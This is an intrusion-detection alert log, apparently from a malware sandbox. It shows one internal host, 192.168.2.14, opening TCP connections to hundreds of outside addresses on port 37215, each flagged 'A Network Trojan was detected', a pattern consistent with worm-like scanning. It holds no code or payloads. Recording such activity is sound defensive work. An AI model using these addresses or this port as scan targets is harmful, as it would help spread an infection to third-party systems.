2025-02-12T16:53:39.308388+0100	2835222	1	A Network Trojan was detected	192.168.2.14	33162	157.132.179.126	37215	TCP
2025-02-12T16:53:39.308392+0100	2835222	1	A Network Trojan was detected	192.168.2.14	55012	197.217.71.95	37215	TCP
2025-02-12T16:53:39.348703+0100	2835222	1	A Network Trojan was detected	192.168.2.14	41512	41.141.77.58	37215	TCP
2025-02-12T16:53:39.349008+0100	2835222	1	A Network Trojan was detected	192.168.2.14	33592	157.141.101.209	37215	TCP
2025-02-12T16:53:39.432621+0100	2835222	1	A Network Trojan was detected	192.168.2.14	59066	147.1.190.107	37215	TCP
2025-02-12T16:53:39.448034+0100	2835222	1	A Network Trojan was detected	192.168.2.14	56432	4.93.36.137	37215	TCP
2025-02-12T16:53:39.448230+0100	2835222	1	A Network Trojan was detected	192.168.2.14	56858	157.169.44.176	37215	TCP
2025-02-12T16:53:39.448354+0100	2835222	1	A Network Trojan was detected	192.168.2.14	43954	157.66.14.115	37215	TCP
2025-02-12T16:53:39.448749+0100	2835222	1	A Network Trojan was detected	192.168.2.14	59768	41.201.210.80	37215	TCP
2025-02-12T16:53:39.449924+0100	2835222	1	A Network Trojan was detected	192.168.2.14	59684	41.168.109.242	37215	TCP
2025-02-12T16:53:39.450004+0100	2835222	1	A Network Trojan was detected	192.168.2.14	53576	197.110.166.162	37215	TCP
2025-02-12T16:53:39.463632+0100	2835222	1	A Network Trojan was detected	192.168.2.14	52184	64.74.137.233	37215	TCP
2025-02-12T16:53:39.463731+0100	2835222	1	A Network Trojan was detected	192.168.2.14	50224	157.51.232.125	37215	TCP
2025-02-12T16:53:39.463799+0100	2835222	1	A Network Trojan was detected	192.168.2.14	36908	112.132.62.178	37215	TCP
2025-02-12T16:53:39.463840+0100	2835222	1	A Network Trojan was detected	192.168.2.14	45504	162.186.74.57	37215	TCP
2025-02-12T16:53:39.463929+0100	2835222	1	A Network Trojan was detected	192.168.2.14	49276	157.194.99.30	37215	TCP
2025-02-12T16:53:39.468519+0100	2835222	1	A Network Trojan was detected	192.168.2.14	36546	157.69.109.128	37215	TCP
2025-02-12T16:53:39.479335+0100	2835222	1	A Network Trojan was detected	192.168.2.14	59942	41.133.53.174	37215	TCP
2025-02-12T16:53:40.464590+0100	2835222	1	A Network Trojan was detected	192.168.2.14	41702	197.125.20.92	37215	TCP
2025-02-12T16:53:40.464658+0100	2835222	1	A Network Trojan was detected	192.168.2.14	46038	157.254.107.248	37215	TCP
2025-02-12T16:53:40.465613+0100	2835222	1	A Network Trojan was detected	192.168.2.14	58492	197.214.130.128	37215	TCP
2025-02-12T16:53:40.465713+0100	2835222	1	A Network Trojan was detected	192.168.2.14	57820	151.38.112.132	37215	TCP
2025-02-12T16:53:40.467000+0100	2835222	1	A Network Trojan was detected	192.168.2.14	43392	197.213.22.28	37215	TCP
2025-02-12T16:53:40.467000+0100	2835222	1	A Network Trojan was detected	192.168.2.14	34438	157.149.202.72	37215	TCP
2025-02-12T16:53:40.480253+0100	2835222	1	A Network Trojan was detected	192.168.2.14	41268	41.158.117.79	37215	TCP
2025-02-12T16:53:40.480298+0100	2835222	1	A Network Trojan was detected	192.168.2.14	35040	197.100.77.240	37215	TCP
2025-02-12T16:53:40.483096+0100	2835222	1	A Network Trojan was detected	192.168.2.14	43196	41.230.50.140	37215	TCP
2025-02-12T16:53:40.483223+0100	2835222	1	A Network Trojan was detected	192.168.2.14	43002	197.138.33.63	37215	TCP
2025-02-12T16:53:40.483346+0100	2835222	1	A Network Trojan was detected	192.168.2.14	53928	189.161.34.115	37215	TCP
2025-02-12T16:53:40.516244+0100	2835222	1	A Network Trojan was detected	192.168.2.14	38782	157.47.169.188	37215	TCP
2025-02-12T16:53:41.462821+0100	2835222	1	A Network Trojan was detected	192.168.2.14	55426	157.96.174.213	37215	TCP
2025-02-12T16:53:41.464074+0100	2835222	1	A Network Trojan was detected	192.168.2.14	44222	41.130.105.156	37215	TCP
2025-02-12T16:53:41.464711+0100	2835222	1	A Network Trojan was detected	192.168.2.14	48452	197.100.6.254	37215	TCP
2025-02-12T16:53:41.464764+0100	2835222	1	A Network Trojan was detected	192.168.2.14	46730	157.185.41.174	37215	TCP
2025-02-12T16:53:41.465397+0100	2835222	1	A Network Trojan was detected	192.168.2.14	38786	41.235.21.184	37215	TCP
2025-02-12T16:53:41.467542+0100	2835222	1	A Network Trojan was detected	192.168.2.14	46262	186.200.186.126	37215	TCP
2025-02-12T16:53:41.479417+0100	2835222	1	A Network Trojan was detected	192.168.2.14	36392	196.217.79.11	37215	TCP
2025-02-12T16:53:41.479474+0100	2835222	1	A Network Trojan was detected	192.168.2.14	56936	57.127.112.195	37215	TCP
2025-02-12T16:53:41.479559+0100	2835222	1	A Network Trojan was detected	192.168.2.14	53562	41.121.94.81	37215	TCP
2025-02-12T16:53:41.481108+0100	2835222	1	A Network Trojan was detected	192.168.2.14	32858	169.136.31.254	37215	TCP
2025-02-12T16:53:41.495404+0100	2835222	1	A Network Trojan was detected	192.168.2.14	59558	197.193.132.43	37215	TCP
2025-02-12T16:53:41.528292+0100	2835222	1	A Network Trojan was detected	192.168.2.14	55192	197.178.222.17	37215	TCP
2025-02-12T16:53:41.542742+0100	2835222	1	A Network Trojan was detected	192.168.2.14	45544	157.29.102.107	37215	TCP
2025-02-12T16:53:41.750171+0100	2835222	1	A Network Trojan was detected	192.168.2.14	35618	157.90.91.216	37215	TCP
2025-02-12T16:53:42.520245+0100	2835222	1	A Network Trojan was detected	192.168.2.14	60720	197.6.148.239	37215	TCP
2025-02-12T16:53:42.541976+0100	2835222	1	A Network Trojan was detected	192.168.2.14	45906	41.241.131.129	37215	TCP
2025-02-12T16:53:42.542314+0100	2835222	1	A Network Trojan was detected	192.168.2.14	54560	157.194.133.203	37215	TCP
2025-02-12T16:53:42.542335+0100	2835222	1	A Network Trojan was detected	192.168.2.14	41434	41.26.102.161	37215	TCP
2025-02-12T16:53:42.542415+0100	2835222	1	A Network Trojan was detected	192.168.2.14	40244	197.69.146.124	37215	TCP
2025-02-12T16:53:42.543191+0100	2835222	1	A Network Trojan was detected	192.168.2.14	57050	197.91.163.17	37215	TCP
2025-02-12T16:53:42.544620+0100	2835222	1	A Network Trojan was detected	192.168.2.14	46126	25.132.249.128	37215	TCP
2025-02-12T16:53:42.545670+0100	2835222	1	A Network Trojan was detected	192.168.2.14	60272	197.77.55.129	37215	TCP
2025-02-12T16:53:42.545838+0100	2835222	1	A Network Trojan was detected	192.168.2.14	33422	197.44.144.247	37215	TCP
2025-02-12T16:53:42.546237+0100	2835222	1	A Network Trojan was detected	192.168.2.14	38350	143.147.75.48	37215	TCP
2025-02-12T16:53:42.557547+0100	2835222	1	A Network Trojan was detected	192.168.2.14	39644	157.142.216.30	37215	TCP
2025-02-12T16:53:42.557617+0100	2835222	1	A Network Trojan was detected	192.168.2.14	52574	197.195.65.177	37215	TCP
2025-02-12T16:53:42.557810+0100	2835222	1	A Network Trojan was detected	192.168.2.14	36072	205.66.244.113	37215	TCP
2025-02-12T16:53:42.557926+0100	2835222	1	A Network Trojan was detected	192.168.2.14	37302	109.161.126.213	37215	TCP
2025-02-12T16:53:42.558015+0100	2835222	1	A Network Trojan was detected	192.168.2.14	54478	91.83.166.155	37215	TCP
2025-02-12T16:53:42.559529+0100	2835222	1	A Network Trojan was detected	192.168.2.14	36210	197.184.172.113	37215	TCP
2025-02-12T16:53:42.559934+0100	2835222	1	A Network Trojan was detected	192.168.2.14	38226	84.3.17.109	37215	TCP
2025-02-12T16:53:42.561468+0100	2835222	1	A Network Trojan was detected	192.168.2.14	41932	41.28.62.59	37215	TCP
2025-02-12T16:53:42.561504+0100	2835222	1	A Network Trojan was detected	192.168.2.14	32844	197.218.202.198	37215	TCP
2025-02-12T16:53:42.561567+0100	2835222	1	A Network Trojan was detected	192.168.2.14	34960	157.74.23.8	37215	TCP
2025-02-12T16:53:42.561720+0100	2835222	1	A Network Trojan was detected	192.168.2.14	43730	93.163.28.160	37215	TCP
2025-02-12T16:53:42.561774+0100	2835222	1	A Network Trojan was detected	192.168.2.14	44146	4.42.254.233	37215	TCP
2025-02-12T16:53:42.561881+0100	2835222	1	A Network Trojan was detected	192.168.2.14	43538	41.238.42.99	37215	TCP
2025-02-12T16:53:42.562091+0100	2835222	1	A Network Trojan was detected	192.168.2.14	59334	41.219.218.88	37215	TCP
2025-02-12T16:53:42.562152+0100	2835222	1	A Network Trojan was detected	192.168.2.14	36314	157.154.74.88	37215	TCP
2025-02-12T16:53:42.566247+0100	2835222	1	A Network Trojan was detected	192.168.2.14	49406	41.122.153.179	37215	TCP
2025-02-12T16:53:42.592317+0100	2835222	1	A Network Trojan was detected	192.168.2.14	35746	41.159.241.44	37215	TCP
2025-02-12T16:53:42.594999+0100	2835222	1	A Network Trojan was detected	192.168.2.14	35668	41.89.195.201	37215	TCP
2025-02-12T16:53:42.650573+0100	2835222	1	A Network Trojan was detected	192.168.2.14	57188	197.7.110.169	37215	TCP
2025-02-12T16:53:42.806225+0100	2835222	1	A Network Trojan was detected	192.168.2.14	42740	197.146.51.16	37215	TCP
2025-02-12T16:53:42.879332+0100	2835222	1	A Network Trojan was detected	192.168.2.14	50140	197.8.241.180	37215	TCP
2025-02-12T16:53:42.905146+0100	2835222	1	A Network Trojan was detected	192.168.2.14	47806	107.155.34.17	37215	TCP
2025-02-12T16:53:43.526644+0100	2835222	1	A Network Trojan was detected	192.168.2.14	41718	113.207.247.11	37215	TCP
2025-02-12T16:53:43.526644+0100	2835222	1	A Network Trojan was detected	192.168.2.14	50746	197.137.154.153	37215	TCP
2025-02-12T16:53:43.527164+0100	2835222	1	A Network Trojan was detected	192.168.2.14	44226	157.237.148.175	37215	TCP
2025-02-12T16:53:43.528018+0100	2835222	1	A Network Trojan was detected	192.168.2.14	45944	41.52.148.66	37215	TCP
2025-02-12T16:53:43.541927+0100	2835222	1	A Network Trojan was detected	192.168.2.14	38746	41.48.190.46	37215	TCP
2025-02-12T16:53:43.542228+0100	2835222	1	A Network Trojan was detected	192.168.2.14	57152	190.246.214.109	37215	TCP
2025-02-12T16:53:43.542488+0100	2835222	1	A Network Trojan was detected	192.168.2.14	47850	140.29.59.138	37215	TCP
2025-02-12T16:53:43.542764+0100	2835222	1	A Network Trojan was detected	192.168.2.14	52766	157.102.132.247	37215	TCP
2025-02-12T16:53:43.542894+0100	2835222	1	A Network Trojan was detected	192.168.2.14	35040	82.217.191.102	37215	TCP
2025-02-12T16:53:43.543788+0100	2835222	1	A Network Trojan was detected	192.168.2.14	43846	197.169.4.221	37215	TCP
2025-02-12T16:53:43.544068+0100	2835222	1	A Network Trojan was detected	192.168.2.14	51418	4.161.237.105	37215	TCP
2025-02-12T16:53:43.544325+0100	2835222	1	A Network Trojan was detected	192.168.2.14	55470	41.97.202.229	37215	TCP
2025-02-12T16:53:43.545011+0100	2835222	1	A Network Trojan was detected	192.168.2.14	48268	197.46.201.28	37215	TCP
2025-02-12T16:53:43.545611+0100	2835222	1	A Network Trojan was detected	192.168.2.14	36980	41.153.142.1	37215	TCP
2025-02-12T16:53:43.545661+0100	2835222	1	A Network Trojan was detected	192.168.2.14	58104	197.91.81.76	37215	TCP
2025-02-12T16:53:43.557559+0100	2835222	1	A Network Trojan was detected	192.168.2.14	49752	178.181.73.225	37215	TCP
2025-02-12T16:53:43.557686+0100	2835222	1	A Network Trojan was detected	192.168.2.14	57232	157.72.205.222	37215	TCP
2025-02-12T16:53:43.559233+0100	2835222	1	A Network Trojan was detected	192.168.2.14	55406	102.66.50.100	37215	TCP
2025-02-12T16:53:43.559308+0100	2835222	1	A Network Trojan was detected	192.168.2.14	46034	41.156.254.210	37215	TCP
2025-02-12T16:53:43.559441+0100	2835222	1	A Network Trojan was detected	192.168.2.14	42612	41.187.93.146	37215	TCP
2025-02-12T16:53:43.594596+0100	2835222	1	A Network Trojan was detected	192.168.2.14	33242	41.147.183.203	37215	TCP
2025-02-12T16:53:43.605666+0100	2835222	1	A Network Trojan was detected	192.168.2.14	45120	157.39.84.65	37215	TCP
2025-02-12T16:53:43.624804+0100	2835222	1	A Network Trojan was detected	192.168.2.14	59296	39.227.22.208	37215	TCP
2025-02-12T16:53:44.557888+0100	2835222	1	A Network Trojan was detected	192.168.2.14	34392	197.161.184.137	37215	TCP
2025-02-12T16:53:44.559006+0100	2835222	1	A Network Trojan was detected	192.168.2.14	34254	157.180.231.219	37215	TCP
2025-02-12T16:53:44.559006+0100	2835222	1	A Network Trojan was detected	192.168.2.14	46950	41.80.145.15	37215	TCP
2025-02-12T16:53:44.559007+0100	2835222	1	A Network Trojan was detected	192.168.2.14	54880	41.214.44.119	37215	TCP
2025-02-12T16:53:44.559010+0100	2835222	1	A Network Trojan was detected	192.168.2.14	50270	197.40.44.208	37215	TCP
2025-02-12T16:53:44.573164+0100	2835222	1	A Network Trojan was detected	192.168.2.14	49436	41.97.129.58	37215	TCP
2025-02-12T16:53:44.573402+0100	2835222	1	A Network Trojan was detected	192.168.2.14	36090	197.100.201.163	37215	TCP
2025-02-12T16:53:44.573535+0100	2835222	1	A Network Trojan was detected	192.168.2.14	50106	87.137.148.87	37215	TCP
2025-02-12T16:53:44.574029+0100	2835222	1	A Network Trojan was detected	192.168.2.14	38226	157.21.187.195	37215	TCP
2025-02-12T16:53:44.574056+0100	2835222	1	A Network Trojan was detected	192.168.2.14	36636	41.195.224.49	37215	TCP
2025-02-12T16:53:44.574863+0100	2835222	1	A Network Trojan was detected	192.168.2.14	37384	74.244.46.2	37215	TCP
2025-02-12T16:53:44.575043+0100	2835222	1	A Network Trojan was detected	192.168.2.14	32994	197.83.255.118	37215	TCP
2025-02-12T16:53:44.575411+0100	2835222	1	A Network Trojan was detected	192.168.2.14	46056	157.202.124.176	37215	TCP
2025-02-12T16:53:44.575583+0100	2835222	1	A Network Trojan was detected	192.168.2.14	58154	41.128.11.44	37215	TCP
2025-02-12T16:53:44.575748+0100	2835222	1	A Network Trojan was detected	192.168.2.14	44014	41.115.214.169	37215	TCP
2025-02-12T16:53:44.575818+0100	2835222	1	A Network Trojan was detected	192.168.2.14	50674	150.123.181.214	37215	TCP
2025-02-12T16:53:44.575904+0100	2835222	1	A Network Trojan was detected	192.168.2.14	55212	41.32.126.31	37215	TCP
2025-02-12T16:53:44.577282+0100	2835222	1	A Network Trojan was detected	192.168.2.14	60974	157.184.183.73	37215	TCP
2025-02-12T16:53:44.577523+0100	2835222	1	A Network Trojan was detected	192.168.2.14	35146	157.13.130.227	37215	TCP
2025-02-12T16:53:44.577698+0100	2835222	1	A Network Trojan was detected	192.168.2.14	36252	157.127.132.244	37215	TCP
2025-02-12T16:53:44.577772+0100	2835222	1	A Network Trojan was detected	192.168.2.14	43834	197.168.26.183	37215	TCP
2025-02-12T16:53:44.577812+0100	2835222	1	A Network Trojan was detected	192.168.2.14	36576	57.23.108.121	37215	TCP
2025-02-12T16:53:44.577907+0100	2835222	1	A Network Trojan was detected	192.168.2.14	46042	41.203.165.202	37215	TCP
2025-02-12T16:53:44.578925+0100	2835222	1	A Network Trojan was detected	192.168.2.14	59444	157.172.49.84	37215	TCP
2025-02-12T16:53:44.579091+0100	2835222	1	A Network Trojan was detected	192.168.2.14	33922	212.19.209.69	37215	TCP
2025-02-12T16:53:44.579235+0100	2835222	1	A Network Trojan was detected	192.168.2.14	48878	84.246.182.187	37215	TCP
2025-02-12T16:53:44.592748+0100	2835222	1	A Network Trojan was detected	192.168.2.14	34934	167.234.9.124	37215	TCP
2025-02-12T16:53:44.592858+0100	2835222	1	A Network Trojan was detected	192.168.2.14	44458	157.164.196.169	37215	TCP
2025-02-12T16:53:44.594411+0100	2835222	1	A Network Trojan was detected	192.168.2.14	41858	157.109.160.249	37215	TCP
2025-02-12T16:53:44.594414+0100	2835222	1	A Network Trojan was detected	192.168.2.14	39258	74.26.42.147	37215	TCP
2025-02-12T16:53:44.604670+0100	2835222	1	A Network Trojan was detected	192.168.2.14	50464	197.240.158.156	37215	TCP
2025-02-12T16:53:44.620148+0100	2835222	1	A Network Trojan was detected	192.168.2.14	60114	157.115.10.149	37215	TCP
2025-02-12T16:53:44.620498+0100	2835222	1	A Network Trojan was detected	192.168.2.14	45356	197.134.35.71	37215	TCP
2025-02-12T16:53:44.638381+0100	2835222	1	A Network Trojan was detected	192.168.2.14	43402	41.120.103.222	37215	TCP
2025-02-12T16:53:45.573292+0100	2835222	1	A Network Trojan was detected	192.168.2.14	52086	157.145.73.16	37215	TCP
2025-02-12T16:53:45.573298+0100	2835222	1	A Network Trojan was detected	192.168.2.14	52666	197.51.165.36	37215	TCP
2025-02-12T16:53:45.573384+0100	2835222	1	A Network Trojan was detected	192.168.2.14	35412	206.121.135.128	37215	TCP
2025-02-12T16:53:45.573501+0100	2835222	1	A Network Trojan was detected	192.168.2.14	47738	126.238.0.95	37215	TCP
2025-02-12T16:53:45.573527+0100	2835222	1	A Network Trojan was detected	192.168.2.14	53676	41.109.81.101	37215	TCP
2025-02-12T16:53:45.590579+0100	2835222	1	A Network Trojan was detected	192.168.2.14	40698	137.177.131.220	37215	TCP
2025-02-12T16:53:45.590844+0100	2835222	1	A Network Trojan was detected	192.168.2.14	59302	197.144.220.109	37215	TCP
2025-02-12T16:53:45.591343+0100	2835222	1	A Network Trojan was detected	192.168.2.14	53830	41.64.163.14	37215	TCP
2025-02-12T16:53:45.606450+0100	2835222	1	A Network Trojan was detected	192.168.2.14	45986	221.32.59.177	37215	TCP
2025-02-12T16:53:45.606461+0100	2835222	1	A Network Trojan was detected	192.168.2.14	40534	31.228.145.109	37215	TCP
2025-02-12T16:53:45.621898+0100	2835222	1	A Network Trojan was detected	192.168.2.14	59996	101.240.132.86	37215	TCP
2025-02-12T16:53:45.621904+0100	2835222	1	A Network Trojan was detected	192.168.2.14	42932	146.92.187.48	37215	TCP
2025-02-12T16:53:45.621996+0100	2835222	1	A Network Trojan was detected	192.168.2.14	49678	217.172.95.203	37215	TCP
2025-02-12T16:53:45.623866+0100	2835222	1	A Network Trojan was detected	192.168.2.14	56624	197.74.20.234	37215	TCP
2025-02-12T16:53:45.624116+0100	2835222	1	A Network Trojan was detected	192.168.2.14	60102	157.0.54.87	37215	TCP
2025-02-12T16:53:45.625690+0100	2835222	1	A Network Trojan was detected	192.168.2.14	51528	157.159.7.125	37215	TCP
2025-02-12T16:53:45.626231+0100	2835222	1	A Network Trojan was detected	192.168.2.14	40672	41.138.234.161	37215	TCP
2025-02-12T16:53:45.638807+0100	2835222	1	A Network Trojan was detected	192.168.2.14	60720	32.193.239.198	37215	TCP
2025-02-12T16:53:45.638873+0100	2835222	1	A Network Trojan was detected	192.168.2.14	48514	157.112.121.237	37215	TCP
2025-02-12T16:53:45.639483+0100	2835222	1	A Network Trojan was detected	192.168.2.14	60008	197.160.109.46	37215	TCP
2025-02-12T16:53:45.639622+0100	2835222	1	A Network Trojan was detected	192.168.2.14	34844	157.222.114.12	37215	TCP
2025-02-12T16:53:45.643001+0100	2835222	1	A Network Trojan was detected	192.168.2.14	53150	197.201.39.13	37215	TCP
2025-02-12T16:53:45.671082+0100	2835222	1	A Network Trojan was detected	192.168.2.14	38328	157.1.14.24	37215	TCP
2025-02-12T16:53:46.024495+0100	2835222	1	A Network Trojan was detected	192.168.2.14	52828	41.190.102.226	37215	TCP
2025-02-12T16:53:46.651447+0100	2835222	1	A Network Trojan was detected	192.168.2.14	57112	41.160.99.160	37215	TCP
2025-02-12T16:53:46.657046+0100	2835222	1	A Network Trojan was detected	192.168.2.14	58030	41.76.189.176	37215	TCP
2025-02-12T16:53:46.657077+0100	2835222	1	A Network Trojan was detected	192.168.2.14	55108	185.74.0.249	37215	TCP
2025-02-12T16:53:46.657092+0100	2835222	1	A Network Trojan was detected	192.168.2.14	39158	157.239.28.148	37215	TCP
2025-02-12T16:53:46.667072+0100	2835222	1	A Network Trojan was detected	192.168.2.14	57538	202.32.197.252	37215	TCP
2025-02-12T16:53:46.671141+0100	2835222	1	A Network Trojan was detected	192.168.2.14	40996	41.139.196.144	37215	TCP
2025-02-12T16:53:46.682728+0100	2835222	1	A Network Trojan was detected	192.168.2.14	51208	41.226.199.199	37215	TCP
2025-02-12T16:53:46.749026+0100	2835222	1	A Network Trojan was detected	192.168.2.14	40660	197.174.8.232	37215	TCP
2025-02-12T16:53:47.636083+0100	2835222	1	A Network Trojan was detected	192.168.2.14	49812	197.123.232.230	37215	TCP
2025-02-12T16:53:47.636095+0100	2835222	1	A Network Trojan was detected	192.168.2.14	36950	197.252.253.185	37215	TCP
2025-02-12T16:53:47.636291+0100	2835222	1	A Network Trojan was detected	192.168.2.14	34120	157.170.15.104	37215	TCP
2025-02-12T16:53:47.636601+0100	2835222	1	A Network Trojan was detected	192.168.2.14	60638	197.82.129.206	37215	TCP
2025-02-12T16:53:47.637530+0100	2835222	1	A Network Trojan was detected	192.168.2.14	56978	157.192.38.115	37215	TCP
2025-02-12T16:53:47.637654+0100	2835222	1	A Network Trojan was detected	192.168.2.14	54170	41.18.146.76	37215	TCP
2025-02-12T16:53:47.642979+0100	2835222	1	A Network Trojan was detected	192.168.2.14	39582	154.112.32.31	37215	TCP
2025-02-12T16:53:47.656983+0100	2835222	1	A Network Trojan was detected	192.168.2.14	56176	207.8.45.36	37215	TCP
2025-02-12T16:53:47.658864+0100	2835222	1	A Network Trojan was detected	192.168.2.14	45624	157.147.198.51	37215	TCP
2025-02-12T16:53:47.659172+0100	2835222	1	A Network Trojan was detected	192.168.2.14	55552	197.16.141.37	37215	TCP
2025-02-12T16:53:47.659338+0100	2835222	1	A Network Trojan was detected	192.168.2.14	36146	197.129.77.211	37215	TCP
2025-02-12T16:53:47.672555+0100	2835222	1	A Network Trojan was detected	192.168.2.14	35996	157.124.8.182	37215	TCP
2025-02-12T16:53:47.672785+0100	2835222	1	A Network Trojan was detected	192.168.2.14	39404	41.55.116.136	37215	TCP
2025-02-12T16:53:47.672865+0100	2835222	1	A Network Trojan was detected	192.168.2.14	34214	157.119.103.62	37215	TCP
2025-02-12T16:53:47.674507+0100	2835222	1	A Network Trojan was detected	192.168.2.14	37920	197.64.203.166	37215	TCP
2025-02-12T16:53:47.674507+0100	2835222	1	A Network Trojan was detected	192.168.2.14	42582	61.178.43.74	37215	TCP
2025-02-12T16:53:47.675186+0100	2835222	1	A Network Trojan was detected	192.168.2.14	42556	41.173.76.96	37215	TCP
2025-02-12T16:53:47.676354+0100	2835222	1	A Network Trojan was detected	192.168.2.14	60826	41.226.92.79	37215	TCP
2025-02-12T16:53:47.689597+0100	2835222	1	A Network Trojan was detected	192.168.2.14	45160	197.120.154.50	37215	TCP
2025-02-12T16:53:47.716577+0100	2835222	1	A Network Trojan was detected	192.168.2.14	45202	197.213.132.161	37215	TCP
2025-02-12T16:53:47.750490+0100	2835222	1	A Network Trojan was detected	192.168.2.14	60544	197.236.91.10	37215	TCP
2025-02-12T16:53:48.636186+0100	2835222	1	A Network Trojan was detected	192.168.2.14	40884	98.201.37.105	37215	TCP
2025-02-12T16:53:48.651390+0100	2835222	1	A Network Trojan was detected	192.168.2.14	50634	157.64.141.246	37215	TCP
2025-02-12T16:53:48.651391+0100	2835222	1	A Network Trojan was detected	192.168.2.14	51144	41.47.47.46	37215	TCP
2025-02-12T16:53:48.653294+0100	2835222	1	A Network Trojan was detected	192.168.2.14	39906	199.2.182.127	37215	TCP
2025-02-12T16:53:48.666959+0100	2835222	1	A Network Trojan was detected	192.168.2.14	58926	91.107.55.214	37215	TCP
2025-02-12T16:53:48.667137+0100	2835222	1	A Network Trojan was detected	192.168.2.14	40176	197.98.107.202	37215	TCP
2025-02-12T16:53:48.667379+0100	2835222	1	A Network Trojan was detected	192.168.2.14	55204	41.254.55.160	37215	TCP
2025-02-12T16:53:48.668037+0100	2835222	1	A Network Trojan was detected	192.168.2.14	45386	197.29.143.13	37215	TCP
2025-02-12T16:53:48.668834+0100	2835222	1	A Network Trojan was detected	192.168.2.14	33584	41.28.216.111	37215	TCP
2025-02-12T16:53:48.669377+0100	2835222	1	A Network Trojan was detected	192.168.2.14	47098	157.214.72.64	37215	TCP
2025-02-12T16:53:48.670920+0100	2835222	1	A Network Trojan was detected	192.168.2.14	34072	197.95.219.170	37215	TCP
2025-02-12T16:53:48.670990+0100	2835222	1	A Network Trojan was detected	192.168.2.14	58566	41.22.227.53	37215	TCP
2025-02-12T16:53:48.671142+0100	2835222	1	A Network Trojan was detected	192.168.2.14	43864	197.125.92.211	37215	TCP
2025-02-12T16:53:48.671247+0100	2835222	1	A Network Trojan was detected	192.168.2.14	43518	157.83.6.73	37215	TCP
2025-02-12T16:53:48.682602+0100	2835222	1	A Network Trojan was detected	192.168.2.14	40600	157.212.222.167	37215	TCP
2025-02-12T16:53:48.698391+0100	2835222	1	A Network Trojan was detected	192.168.2.14	56654	41.8.71.35	37215	TCP
2025-02-12T16:53:48.699076+0100	2835222	1	A Network Trojan was detected	192.168.2.14	41686	157.29.46.165	37215	TCP
2025-02-12T16:53:48.700060+0100	2835222	1	A Network Trojan was detected	192.168.2.14	57940	138.7.180.162	37215	TCP
2025-02-12T16:53:48.702080+0100	2835222	1	A Network Trojan was detected	192.168.2.14	33244	92.41.193.232	37215	TCP
2025-02-12T16:53:48.702302+0100	2835222	1	A Network Trojan was detected	192.168.2.14	44660	41.3.213.238	37215	TCP
2025-02-12T16:53:48.703947+0100	2835222	1	A Network Trojan was detected	192.168.2.14	57896	157.145.169.8	37215	TCP
2025-02-12T16:53:48.730498+0100	2835222	1	A Network Trojan was detected	192.168.2.14	47024	41.75.173.226	37215	TCP
2025-02-12T16:53:48.731370+0100	2835222	1	A Network Trojan was detected	192.168.2.14	59416	47.102.165.77	37215	TCP
2025-02-12T16:53:48.733194+0100	2835222	1	A Network Trojan was detected	192.168.2.14	59082	197.119.85.58	37215	TCP
2025-02-12T16:53:48.734236+0100	2835222	1	A Network Trojan was detected	192.168.2.14	44072	197.3.141.85	37215	TCP
2025-02-12T16:53:49.504017+0100	2835222	1	A Network Trojan was detected	192.168.2.14	58564	197.7.195.119	37215	TCP
2025-02-12T16:53:49.714015+0100	2835222	1	A Network Trojan was detected	192.168.2.14	52414	157.178.225.39	37215	TCP
2025-02-12T16:53:49.714097+0100	2835222	1	A Network Trojan was detected	192.168.2.14	46518	18.91.193.44	37215	TCP
2025-02-12T16:53:49.714535+0100	2835222	1	A Network Trojan was detected	192.168.2.14	34204	185.109.225.225	37215	TCP
2025-02-12T16:53:49.714687+0100	2835222	1	A Network Trojan was detected	192.168.2.14	35896	41.15.251.139	37215	TCP
2025-02-12T16:53:49.714772+0100	2835222	1	A Network Trojan was detected	192.168.2.14	56128	157.112.150.221	37215	TCP
2025-02-12T16:53:49.714841+0100	2835222	1	A Network Trojan was detected	192.168.2.14	39080	41.202.207.43	37215	TCP
2025-02-12T16:53:49.714885+0100	2835222	1	A Network Trojan was detected	192.168.2.14	60036	157.184.163.100	37215	TCP
2025-02-12T16:53:49.718223+0100	2835222	1	A Network Trojan was detected	192.168.2.14	44704	41.191.32.253	37215	TCP
2025-02-12T16:53:49.729681+0100	2835222	1	A Network Trojan was detected	192.168.2.14	49578	216.238.157.93	37215	TCP
2025-02-12T16:53:49.729716+0100	2835222	1	A Network Trojan was detected	192.168.2.14	57596	197.0.178.194	37215	TCP
2025-02-12T16:53:49.729761+0100	2835222	1	A Network Trojan was detected	192.168.2.14	48144	197.178.249.137	37215	TCP
2025-02-12T16:53:49.729811+0100	2835222	1	A Network Trojan was detected	192.168.2.14	35750	157.97.73.79	37215	TCP
2025-02-12T16:53:49.731347+0100	2835222	1	A Network Trojan was detected	192.168.2.14	53206	157.66.73.176	37215	TCP
2025-02-12T16:53:49.731421+0100	2835222	1	A Network Trojan was detected	192.168.2.14	59836	157.14.225.20	37215	TCP
2025-02-12T16:53:49.733313+0100	2835222	1	A Network Trojan was detected	192.168.2.14	50848	157.48.164.51	37215	TCP
2025-02-12T16:53:49.747169+0100	2835222	1	A Network Trojan was detected	192.168.2.14	39038	41.207.53.248	37215	TCP
2025-02-12T16:53:49.747201+0100	2835222	1	A Network Trojan was detected	192.168.2.14	42742	165.43.97.2	37215	TCP
2025-02-12T16:53:49.747262+0100	2835222	1	A Network Trojan was detected	192.168.2.14	51526	157.118.195.159	37215	TCP
2025-02-12T16:53:49.747331+0100	2835222	1	A Network Trojan was detected	192.168.2.14	43936	197.218.84.16	37215	TCP
2025-02-12T16:53:49.747462+0100	2835222	1	A Network Trojan was detected	192.168.2.14	38184	129.44.141.19	37215	TCP
2025-02-12T16:53:49.747592+0100	2835222	1	A Network Trojan was detected	192.168.2.14	37458	197.107.24.212	37215	TCP
2025-02-12T16:53:49.747598+0100	2835222	1	A Network Trojan was detected	192.168.2.14	49102	41.67.215.129	37215	TCP
2025-02-12T16:53:49.747669+0100	2835222	1	A Network Trojan was detected	192.168.2.14	49772	69.57.120.34	37215	TCP
2025-02-12T16:53:49.749240+0100	2835222	1	A Network Trojan was detected	192.168.2.14	36888	141.194.81.85	37215	TCP
2025-02-12T16:53:49.749452+0100	2835222	1	A Network Trojan was detected	192.168.2.14	49342	197.201.40.164	37215	TCP
2025-02-12T16:53:49.749789+0100	2835222	1	A Network Trojan was detected	192.168.2.14	43868	219.216.74.145	37215	TCP
2025-02-12T16:53:49.751042+0100	2835222	1	A Network Trojan was detected	192.168.2.14	49372	41.98.27.237	37215	TCP
2025-02-12T16:53:50.714272+0100	2835222	1	A Network Trojan was detected	192.168.2.14	59866	157.95.31.93	37215	TCP
2025-02-12T16:53:50.714287+0100	2835222	1	A Network Trojan was detected	192.168.2.14	50220	197.239.84.99	37215	TCP
